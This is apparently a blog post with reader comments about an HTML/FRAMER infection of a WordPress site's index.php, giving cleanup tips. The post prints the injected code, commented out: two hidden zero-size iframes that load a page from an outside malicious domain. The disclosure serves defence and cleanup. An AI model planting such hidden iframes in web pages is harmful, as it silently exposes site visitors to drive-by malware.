HTML/FRAMER virus alert from AVG

I found the HTML/FRAMER virus had infected this site. It has been eradicated!

For those interested, the following code (commented for security) was inserted into the main index (index.php) by some hacker. For those of you with WordPress blogs I suggest you check you index.php file, the malicious code is inserted at the end on index.php. Other forms of the virus encode the iframe attack.

<!– <iframe src=”http://reycross.net/lib/index.php” width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=”http://reycross.net/lib/index.php” width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> –>

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7 Responses to “HTML/FRAMER virus alert from AVG”

  1. radhoo Says:

    Hello, woh did you get rid of it. I have the same problem.

  2. 3Monkeys Says:

    I opened index.php with the theme editor, and simply deleted the php code described in the article. The malicious code appears at the very end of the php file, at least for me. Seems like many people are getting this as an encoded bit of php. There should not be any encoded portions of legitamate WP themes.

  3. radhoo Says:

    I did that too, but it keeps re appearing… is really bad. I scanned my pc with anti malware and it seems that I had some keyloggers and some other html virus that damaged my sites.

    I hope that this time I will get rid of them forever…

  4. Carlos Says:

    my sites suffered this too. More than 10,000 files affected, including .php, .htm, and .html on my entire server. Imagine that. Luckly for me i found a search/replace script that saved me. this damn thing got my site blocked in google, displaying warnings to users.

  5. Pat Morgan Says:

    Thanks for posting this. Answered my google warning message. Thanks Yahoo!

  6. John Choi Says:

    Hey, where is this Index.php file anyway? I’ve looked and I cannot find it.

  7. denise denlinger Says:

    HELP!!! i am glad you found a way to get rid of this. BUT WHERE DO I START???? i am not too saavy yet at puter. please point me to where and how, PLEASE!!!!

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